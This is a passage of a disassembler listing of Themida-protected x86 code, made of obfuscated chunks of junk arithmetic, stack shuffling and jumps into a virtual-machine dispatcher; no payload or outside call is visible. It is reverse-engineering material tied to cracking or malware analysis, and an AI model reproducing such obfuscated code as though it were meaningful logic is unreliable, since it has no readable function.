		mov	ecx, 21341481h
		jmp	loc_59A1B4
; ---------------------------------------------------------------------------


loc_59722B:				; CODE XREF: Themida_:005A52ECj
		add	bl, dl
		pop	dx
		sub	bl, 0F4h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_599245
; ---------------------------------------------------------------------------


loc_59723D:				; CODE XREF: Themida_:00592EE1j
		push	edi
		jmp	loc_59C88C
; ---------------------------------------------------------------------------


loc_597243:				; CODE XREF: Themida_:00590F8Aj
		add	[esp+4], edx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_597D2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59727A:				; CODE XREF: sub_59390B+F47Dj
		add	esi, 359F323Fh
		pop	ebp
		push	edx
		mov	edx, 4
		jmp	loc_59A95E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_59728C:				; CODE XREF: sub_5A4CDD-6FC6j
		xor	ebx, esi
		push	esi
		jmp	loc_59C996
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_597294:				; CODE XREF: sub_5A51EA-433Fj
		pop	dx
		jmp	loc_5A15CA
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------


loc_59729B:				; CODE XREF: Themida_:00592F6Dj
		push	45DCh
		mov	[esp], ecx
		push	eax
		mov	al, dh
		mov	cl, al
		pop	eax
		mov	bh, cl
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		push	edx
		mov	dh, bh
		jmp	loc_5A01F4
; ---------------------------------------------------------------------------


loc_5972BE:				; CODE XREF: Themida_:0059F1E6j
		sub	dword ptr [esp+8], 521B7531h
		sub	[esp+8], edx
		push	esi
		push	ebp
		mov	ebp, 521B7531h
		mov	esi, ebp
		pop	ebp
		add	[esp+0Ch], esi
		jmp	loc_5991DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_5972DD:				; CODE XREF: sub_59A431-95DCj
		not	ecx
		dec	ecx
		not	ecx
		or	ecx, 2F3D3BACh
		xor	ecx, 40B37192h
		and	edx, ecx
		jmp	loc_5A19CB
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------


loc_5972F5:				; CODE XREF: Themida_:0059EAB3j
		mov	ecx, 3E2E2FD8h
		sub	ecx, 1D4F0784h
		push	ebx
		push	ebp
		push	565E65B1h
		pop	ebp
		push	eax
		mov	eax, 32F708B0h
		sub	ebp, eax
		pop	eax
		add	ebp, 0FFFFFFFFh
		push	esi
		jmp	loc_5977EA

; =============== S U B	R O U T	I N E =======================================



sub_59731A	proc near		; CODE XREF: sub_591D35+2C4Dj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059BCE1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059CAB9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D479 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A0E6F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A3C37 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A4648 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A5685 SIZE 0000001B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		jmp	loc_59CAB9
sub_59731A	endp

; ---------------------------------------------------------------------------


loc_597328:				; CODE XREF: Themida_:005A1E71j
		pop	esi
		mov	edi, ebp
		pop	ebp
		neg	edi
		add	edi, 0FFFFFFFFh
		sub	edi, 33C5885Bh
		jmp	loc_59220B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_59733C:				; CODE XREF: sub_59A4D6+9F27j
		push	[esp+0Ch+var_8]
		mov	eax, [esp+10h+var_10]
		jmp	loc_5A06D9
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------


loc_597348:				; CODE XREF: Themida_:0059D2E3j
		mov	eax, 1A37AC2h
		xor	eax, 6E3447DFh
		shr	eax, 2
		not	eax
		push	ecx
		mov	ecx, 0E41A30B7h
		sub	eax, ecx
		pop	ecx
		add	edx, eax
		pop	eax
		push	1844h
		jmp	loc_59B3BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59736D:				; CODE XREF: sub_59390B+116E4j
		xor	[esp-12h+arg_8+2], eax
		jmp	loc_596710
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_597375:				; CODE XREF: sub_5936EC+C70Aj
		add	ebp, 11B72D4h
		pop	edx
		shl	ebp, 6
		or	ebp, 22156CBDh
		shr	ebp, 4
		add	ebp, 37A17AC1h
		xor	ebp, 519145C5h
		sub	ebx, 2146F17h
		sub	ebx, 71A64192h
		sub	ebx, ebp
		add	ebx, 71A64192h
		jmp	loc_5950A4
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------


loc_5973AD:				; CODE XREF: Themida_:005A436Bj
		sub	edx, 632A72B4h
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 3132E872h
		push	edi
		mov	edi, 4837F1h
		sub	eax, edi
		pop	edi
		sub	eax, 40D764EDh
		jmp	loc_5A413D
; ---------------------------------------------------------------------------


loc_5973D5:				; CODE XREF: Themida_:005946ADj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		not	byte ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59D3E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5973EA:				; CODE XREF: sub_59390B+10BB7j
		shl	dl, 3
		jmp	loc_594FFC
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5973F2:				; CODE XREF: Themida_:00596050j
		shl	esi, 4
		xor	esi, 2A456F6Dh
		xor	esi, 0EF3C8852h
		mov	ebp, esi
		jmp	loc_59DF80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_597408:				; CODE XREF: sub_59CFD4-5394j
		add	esi, 48075024h
		jmp	loc_59FBB6
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------


loc_597413:				; CODE XREF: Themida_:005A1D4Ej
		shr	al, 3
		neg	al
		jmp	loc_593521
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C8A4


loc_59741D:				; CODE XREF: sub_59C8A4-424Aj
		add	esp, 4
		jmp	loc_59398A
; END OF FUNCTION CHUNK	FOR sub_59C8A4
; ---------------------------------------------------------------------------


loc_597428:				; CODE XREF: Themida_:0059A2E8j
		mov	ebx, ecx
		pop	ecx
		add	edi, ebx
		mov	ebx, [esp]
		jmp	loc_5A3488
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B8D


loc_597435:				; CODE XREF: sub_590B8D+109A9j
		mov	ecx, 43D41BE1h
		not	ecx
		push	esi
		mov	esi, 9672D7B2h
		xor	ecx, esi
		pop	esi
		add	eax, ecx
		pop	ecx
		jmp	loc_5922FF
; END OF FUNCTION CHUNK	FOR sub_590B8D
; ---------------------------------------------------------------------------


loc_59744D:				; CODE XREF: Themida_:00590E1Aj
		mov	[esp], ebp
		push	eax
		jmp	loc_59F8D5
; ---------------------------------------------------------------------------


loc_597456:				; CODE XREF: Themida_:005955ABj
		xchg	esi, [esp]
		mov	esp, [esp]
		imul	cx
		push	small 77E4h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59746F:				; CODE XREF: sub_59390B-3C4j
		pop	ebx
		add	al, cl
		mov	ecx, [esp-8+arg_0]
		add	esp, 4
		jmp	loc_59F5DA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_597480:				; CODE XREF: Themida_:00599458j
		xor	eax, 122B6086h
		neg	eax
		sub	eax, 0BEBB9311h
		and	esi, eax
		mov	eax, [esp]
		add	esp, 4
		push	39A4h
		mov	[esp], edi
		mov	edi, 6A720039h
		or	edi, 5D7D7C7Fh
		push	eax
		mov	eax, 5E752E0Eh
		jmp	loc_59C95E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5974B2:				; CODE XREF: sub_59390B+1198Cj
		sub	ecx, 6236319Bh
		sub	esp, 4
		mov	[esp-8+arg_0], ebp
		mov	ebp, 290F200Dh
		neg	ebp
		inc	ebp
		inc	ebp
		push	eax
		mov	eax, 0AF33D15Fh
		add	ebp, 3D3164DAh
		sub	ebp, eax
		sub	ebp, 3D3164DAh
		pop	eax
		add	ecx, ebp
		pop	ebp
		sub	ecx, 0FE3A37BAh
		xor	edi, ecx
		pop	ecx
		add	ecx, 16CA7BB3h
		add	ecx, edi
		sub	ecx, 16CA7BB3h
		jmp	loc_59AB7E
; ---------------------------------------------------------------------------


loc_5974FE:				; CODE XREF: sub_59390B+FCC2j
		mov	ebx, edx
		jmp	loc_59B90B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_597505:				; CODE XREF: Themida_:005A0707j
		add	edi, ebp
		pop	ebp
		jmp	loc_59E764
; ---------------------------------------------------------------------------


loc_59750D:				; CODE XREF: Themida_:0059C4C2j
		mov	esi, 44C12BE0h
		jmp	loc_590C05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59822A


loc_597517:				; CODE XREF: sub_59822A-3D5Bj
		mov	ecx, 4
		jmp	loc_598DE9
; END OF FUNCTION CHUNK	FOR sub_59822A
; ---------------------------------------------------------------------------


loc_597521:				; CODE XREF: Themida_:005977A2j
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_597526:				; CODE XREF: Themida_:005A0DDCj
		mov	[esp], esi
		jmp	loc_591E1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59752E:				; CODE XREF: sub_59390B+94ADj
		mov	[esp-10h+arg_8], edi
		mov	edi, 4
		add	[esp-10h+arg_C], edi
		mov	edi, [esp-10h+arg_8]
		jmp	loc_5A1165
; ---------------------------------------------------------------------------


loc_597542:				; CODE XREF: sub_59390B+106CBj
		mov	[esp-10h+arg_8], esi
		push	esp
		pop	esi
		jmp	loc_5A05E8
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59754C:				; CODE XREF: Themida_:005A56A7j
		push	edx
		mov	edx, 76634354h
		jmp	loc_59C2DB
; ---------------------------------------------------------------------------


loc_597557:				; CODE XREF: Themida_:005A1377j
		add	esi, eax
		jmp	loc_5A4C1B
; ---------------------------------------------------------------------------


loc_59755E:				; CODE XREF: Themida_:0059E7ACj
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_592A38
; ---------------------------------------------------------------------------


loc_597567:				; CODE XREF: Themida_:0059FF08j
		push	esp
		pop	edx
		jmp	loc_592537
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59918B


loc_59756E:				; CODE XREF: sub_59918B+30j
		mov	ebp, 574E4830h
		xor	ebp, 498C13E3h
		add	ebp, 28CE75E4h
		jmp	loc_599368
; END OF FUNCTION CHUNK	FOR sub_59918B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0D58


loc_597584:				; CODE XREF: sub_5A0D58-1599j
		mov	esp, [esp+0]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], esi
		jmp	loc_59EC2E
; END OF FUNCTION CHUNK	FOR sub_5A0D58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AB43


loc_597595:				; CODE XREF: sub_59AB43-61D7j
		or	edx, edi
		mov	edi, [esp-0Ch+arg_8]
		jmp	loc_594971
; END OF FUNCTION CHUNK	FOR sub_59AB43
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BDD3


loc_5975AF:				; CODE XREF: sub_59BDD3-917Dj
		mov	eax, 0A4BDA433h
		xor	edi, eax
		jmp	loc_59C5F4
; END OF FUNCTION CHUNK	FOR sub_59BDD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D02F


loc_5975BB:				; CODE XREF: sub_59D02F+EEj
		pop	dword ptr [eax]
		add	dword ptr [eax], 12AC71C2h
		push	[esp+8+var_8]
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp+10h+var_C]
		pop	edx
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59D02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DD1C


loc_5975F4:				; CODE XREF: sub_59DD1C-3BD7j
		mov	ecx, [esp+4+var_4]
		jmp	loc_594091
; END OF FUNCTION CHUNK	FOR sub_59DD1C
; ---------------------------------------------------------------------------


loc_5975FC:				; CODE XREF: Themida_:0059849Ej
		not	ebx
		push	edi
		mov	edi, 6FEE4724h
		or	ebx, edi
		pop	edi
		push	edx
		mov	edx, 3D0030FBh
		shl	edx, 3
		not	edx
		not	edx
		or	edx, 21621577h
		shr	edx, 6
		sub	edx, 0F3A46E5Ah
		add	ebx, edx
		jmp	loc_594F47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59762A:				; CODE XREF: sub_59390B+5F27j
		mov	word ptr [esp-10h+arg_8], di
		sub	esp, 2
		mov	word ptr [esp-0Ch+arg_4], si
		push	edx
		mov	dx, 0EEEDh
		jmp	loc_5A3027
; ---------------------------------------------------------------------------


loc_597642:				; CODE XREF: sub_59390B-1FB3j
		mov	ecx, 7DBB6849h
		add	ebx, ecx
		pop	ecx
		add	ebx, 275C4EE2h
		sub	ebx, 6C6F761Ch
		mov	edx, ebx
		pop	ebx
		add	edi, edx
		jmp	loc_59AAD8
; ---------------------------------------------------------------------------


loc_597660:				; CODE XREF: sub_59390B+88Aj
		pop	esp
		add	esp, 4
		sub	dword ptr [esp+4], 44274868h
		add	dword ptr [esp+4], 0AF939C1h
		add	[esp+4], edx
		sub	dword ptr [esp+4], 0AF939C1h
		jmp	loc_594372
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_597688:				; CODE XREF: Themida_:005923E6j
		pop	edx
		add	esp, 4
		add	ecx, 3EDD0E0Dh
		add	ecx, 0FFFFFFFFh
		sub	ecx, 25B7E509h
		jmp	loc_5A44DA
; ---------------------------------------------------------------------------


loc_5976A3:				; CODE XREF: Themida_:0059778Ej
		push	66EDh
		jmp	loc_593DD3
; ---------------------------------------------------------------------------


loc_5976AD:				; CODE XREF: Themida_:005A4A16j
		not	dl
		sub	dl, 71h
		push	ebx
		mov	bl, 9Bh
		jmp	loc_5A30C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5976BA:				; CODE XREF: sub_59390B+107F8j
		mov	[esp+0], esi
		mov	esi, 4
		jmp	loc_59AF02
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5976C7:				; CODE XREF: Themida_:0059AE9Cj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	57E7h
		mov	[esp], edx
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 7B6433DBh
		jmp	loc_59E456
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D82E


loc_5976EA:				; CODE XREF: sub_59D82E-C8EAj
		xor	[esp-0Ch+arg_8], ecx
		xor	ecx, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		jmp	loc_5A4623
; END OF FUNCTION CHUNK	FOR sub_59D82E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5976F8:				; CODE XREF: sub_59390B+8064j
		add	esp, 4
		jmp	loc_5929F2
; ---------------------------------------------------------------------------


loc_597700:				; CODE XREF: sub_59390B+289Bj
		mov	[esp-0Ch+arg_4], eax
		push	esp
		pop	eax
		jmp	loc_599566
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59770A:				; CODE XREF: Themida_:005955B4j
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59770F:				; CODE XREF: sub_59390B+FF0Bj
		push	[esp-0Ch+arg_4]
		mov	esi, [esp-8+arg_0]
		push	ebx
		jmp	loc_597C6A
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_59771B	proc near		; DATA XREF: Themida_:00590A08o

var_8		= dword	ptr -8

		mov	cx, [esp+0]
		push	eax
		push	esp
		pop	eax
		push	ecx
		mov	ecx, 4
		sub	eax, 3A515655h
		add	eax, ecx
		add	eax, 3A515655h
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_59410E
sub_59771B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_597742:				; CODE XREF: sub_59390B+9F46j
		sub	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		mov	[esp-8+arg_0], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5941DC
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2FE9


loc_59775D:				; CODE XREF: sub_5A2FE9-CF8Fj
		sub	ebx, esi
		pop	esi
		or	ebx, 4ACE63E9h
		push	4D55h
		jmp	loc_5932A7
; END OF FUNCTION CHUNK	FOR sub_5A2FE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0D58


loc_597770:				; CODE XREF: sub_5A0D58-20EEj
		mov	ecx, 0AB772A6h
		push	ebx
		mov	ebx, 774C3A7Dh
		jmp	loc_5A15BC
; END OF FUNCTION CHUNK	FOR sub_5A0D58
; ---------------------------------------------------------------------------


loc_597780:				; CODE XREF: Themida_:005A4862j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5976A3
; ---------------------------------------------------------------------------


loc_597793:				; CODE XREF: Themida_:005991DAj
		pop	ecx
		pop	dword ptr [esp]
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		jmp	loc_597521
; ---------------------------------------------------------------------------


loc_5977A7:				; CODE XREF: Themida_:00595EACj
		sub	dword ptr [esp+4], 72EA58E5h
		sub	[esp+4], eax
		jmp	loc_5A0DE9
; ---------------------------------------------------------------------------


loc_5977B8:				; CODE XREF: Themida_:00594640j
		sub	ebp, 0B1C73BC9h
		xor	ebx, ebp
		pop	ebp
		xor	ebx, 0CDCA6026h
		add	ecx, 1005214h
		jmp	loc_59E406
; ---------------------------------------------------------------------------


loc_5977D2:				; CODE XREF: Themida_:0059D40Dj
		xor	ah, 39h
		add	dl, ah
		mov	eax, [esp]
		add	esp, 4
		xor	dl, 1Ch
		and	al, dl
		jmp	loc_59BF39
; ---------------------------------------------------------------------------


loc_5977EA:				; CODE XREF: Themida_:00597315j
		mov	esi, 19EA4BA2h
		xor	ebp, esi
		jmp	loc_590C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59886E


loc_5977F6:				; CODE XREF: sub_59886E-42D1j
		mov	esp, [esp+4+var_4]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_5A4ECD
; END OF FUNCTION CHUNK	FOR sub_59886E
; ---------------------------------------------------------------------------


loc_597813:				; CODE XREF: Themida_:00591942j
		add	ebx, 1620706h
		add	ebx, eax
		sub	ebx, 1620706h
		sub	ebx, 0AE803C1h
		push	dword ptr [esp]
		jmp	loc_5A487F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_59782F:				; CODE XREF: sub_59A4D6-5387j
		pop	esi
		sub	[edi+24h], ebp
		push	[esp+0Ch+var_C]
		jmp	loc_599279
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598762


loc_59783B:				; CODE XREF: sub_598762-399Dj
		add	ebp, 21412606h
		add	ebp, 0BC706Ch
		pop	edx
		push	0C71h
		mov	[esp+0Ch+var_C], ebp
		push	[esp+0Ch+var_8]
		push	[esp+10h+var_10]
		push	[esp+14h+var_14]
		pop	ebp
		push	edx
		jmp	loc_5958B4
; END OF FUNCTION CHUNK	FOR sub_598762
; ---------------------------------------------------------------------------


loc_597861:				; CODE XREF: Themida_:005A1CD2j
		push	ecx
		mov	ecx, 6D245262h
		sub	esp, 4
		mov	[esp], ecx
		push	2E93AEBh
		mov	ecx, [esp]
		jmp	loc_59BC00
; ---------------------------------------------------------------------------


loc_59787A:				; CODE XREF: Themida_:005A1A1Bj
		sub	esp, 4
		mov	[esp], eax
		mov	al, 15h
		not	al
		or	al, 0Eh
		add	al, 0C1h
		push	ebx
		mov	bh, al
		jmp	loc_59C0CD
; ---------------------------------------------------------------------------


loc_597893:				; CODE XREF: Themida_:0059860Ej
		mov	edi, 0A9E44CFh
		add	edi, 0BA2B10D3h
		add	ebp, edi
		pop	edi
		sub	ebx, ebp
		jmp	loc_59882D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2552


loc_5978A8:				; CODE XREF: sub_5A2552+12j
		add	edi, 5B4B292Bh
		add	edi, 31B45B2Ch
		sub	edi, 4EC31005h
		sub	edi, 0DF9C9E7Fh
		or	edi, 72F96093h
		shr	edi, 5
		add	edi, 3B0274A4h
		add	edi, 0C0FDBF72h
		add	ebp, edi
		jmp	loc_5A59CC
; END OF FUNCTION CHUNK	FOR sub_5A2552
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_5978DC:				; CODE XREF: sub_594A8D+4BCAj
		dec	edi
		sub	edi, 5647041Dh
		mov	esi, edi
		pop	edi
		xor	esi, 38B711B2h
		add	esi, 8BD9F68Ch
		add	ebx, esi
		pop	esi
		shr	ebx, 7
		xor	ebx, 143BE891h
		xor	eax, ebx
		pop	ebx
		jmp	loc_591854
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_597906:				; CODE XREF: sub_59390B+6909j
		xor	esi, 110D6511h
		push	esi
		xchg	edx, [esp+0]
		push	edx
		not	dword ptr [esp+0]
		jmp	loc_5992C1
; ---------------------------------------------------------------------------


loc_597919:				; CODE XREF: sub_59390B+637Dj
		pop	dword ptr [esp+0]
		mov	esp, [esp+0]
		add	esp, 4
		movzx	ecx, ax
		push	546Ah
		jmp	loc_59E73A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_597932:				; CODE XREF: Themida_:005A1455j
		push	ebx
		mov	ebx, 77065142h
		xor	ebx, 627B7160h
		inc	ebx
		sub	ebx, 0CB74D0E7h
		jmp	loc_595079
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59794A:				; CODE XREF: sub_59390B+839j
		xor	ebp, 73051BB5h
		add	eax, ebp
		pop	ebp
		add	eax, 4
		xchg	eax, [esp+10h+var_10]
		pop	esp
		push	ebx
		push	23F9h
		jmp	loc_59D685
; ---------------------------------------------------------------------------


loc_597965:				; CODE XREF: sub_59390B+4B60j
		add	eax, 1
		neg	eax
		sub	eax, 22654B8Eh
		push	ecx
		mov	ecx, 92226A11h
		add	eax, ecx
		pop	ecx
		push	edx
		mov	edx, 5D2F4570h
		sub	ebp, edx
		jmp	loc_595839
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_597987:				; CODE XREF: sub_59654E+5918j
		pop	edi
		push	edx
		jmp	loc_5983AC
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_59798E:				; CODE XREF: sub_591FE1+7162j
		mov	edx, 6F170E93h
		jmp	loc_59685F
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5999E6


loc_597998:				; CODE XREF: sub_5999E6+18j
		add	eax, 63CF25DFh
		sub	eax, ebp
		sub	eax, 63CF25DFh
		pop	ebp
		not	eax
		push	edi
		mov	edi, 72A03151h
		shr	edi, 2
		sub	edi, 44724276h
		sub	edi, 6FC301A2h
		xor	edi, 4A186BD2h
		xor	edi, 0B84D4B6h
		not	edi
		dec	edi
		push	ebx
		mov	ebx, 18CC7AADh
		add	edi, ebx
		pop	ebx
		shl	edi, 7
		and	edi, 59140DB9h
		add	edi, 13E1CB45h
		add	eax, edi
		pop	edi
		push	eax
		mov	esi, [esp+0]
		add	esp, 4
		pop	eax
		add	eax, esi
		mov	esi, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_5942DA
; END OF FUNCTION CHUNK	FOR sub_5999E6
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_597A05:				; CODE XREF: Themida_:005A4A0Bj
		mov	[esp], edi
		push	8515B36h
		pop	edi
		push	ecx
		mov	ecx, 30E8B451h
		xor	edi, ecx
		pop	ecx
		push	edi
		jmp	loc_59A110
; ---------------------------------------------------------------------------


loc_597A1D:				; CODE XREF: Themida_:005926A5j
		mov	ecx, esp
		push	edx
		push	4
		jmp	loc_59CA4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_597A2A:				; CODE XREF: sub_59390B+163j
		pop	ebp
		jmp	loc_5A4466
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_597A30:				; CODE XREF: Themida_:00598052j
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	edi
		jmp	loc_59C899
; ---------------------------------------------------------------------------


loc_597A4A:				; CODE XREF: Themida_:0059BF1Dj
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_593E19
; ---------------------------------------------------------------------------


loc_597A6B:				; CODE XREF: Themida_:005A37BAj
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	dword ptr [esp], 5C495D2Dh
		jmp	loc_5A440D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_597A7E:				; CODE XREF: sub_59390B+11946j
		mov	edi, 411C0FEBh
		jmp	loc_596117
; ---------------------------------------------------------------------------


loc_597A88:				; CODE XREF: sub_59390B+668Cj
		mov	[esp-0Ch+arg_4], edx
		push	ecx
		mov	ecx, 67554144h
		shr	ecx, 6
		push	1E25h
		mov	[esp+0], esi
		mov	esi, 7F807821h
		shr	esi, 7
		dec	esi
		jmp	loc_59D0AF
; ---------------------------------------------------------------------------


loc_597AAA:				; CODE XREF: sub_59390B+AC81j
		pop	eax
		pop	edi
		pop	dword ptr [eax]
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_597AB3:				; CODE XREF: Themida_:0059B5C6j
		mov	[esp], ebx
		jmp	loc_594CB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_597ABB:				; CODE XREF: sub_59390B+111EAj
		shr	ebp, 7
		shr	ebp, 6
		or	ebp, 62D43682h
		and	ebp, 408A3494h
		shr	ebp, 3
		add	ebp, 0FA5389B7h
		add	ecx, ebp
		jmp	loc_595955
; ---------------------------------------------------------------------------


loc_597ADD:				; CODE XREF: sub_59390B+57E4j
		add	ebp, 4
		push	edi
		mov	edi, 5A9567F3h
		not	edi
		add	edi, 570B65B4h
		not	edi
		xor	edi, 38A023Bh
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp-10h+arg_8]
		jmp	loc_59DFC1
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3536


loc_597B04:				; CODE XREF: sub_5A3536-2D0Fj
		mov	esp, [esp+8+var_8]
		inc	[esp-4+arg_0]
		pushf
		jmp	loc_5912C3
; END OF FUNCTION CHUNK	FOR sub_5A3536
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592E1C


loc_597B10:				; CODE XREF: sub_592E1C+12AE4j
		xor	ebp, 52707444h
		jmp	loc_5994BE
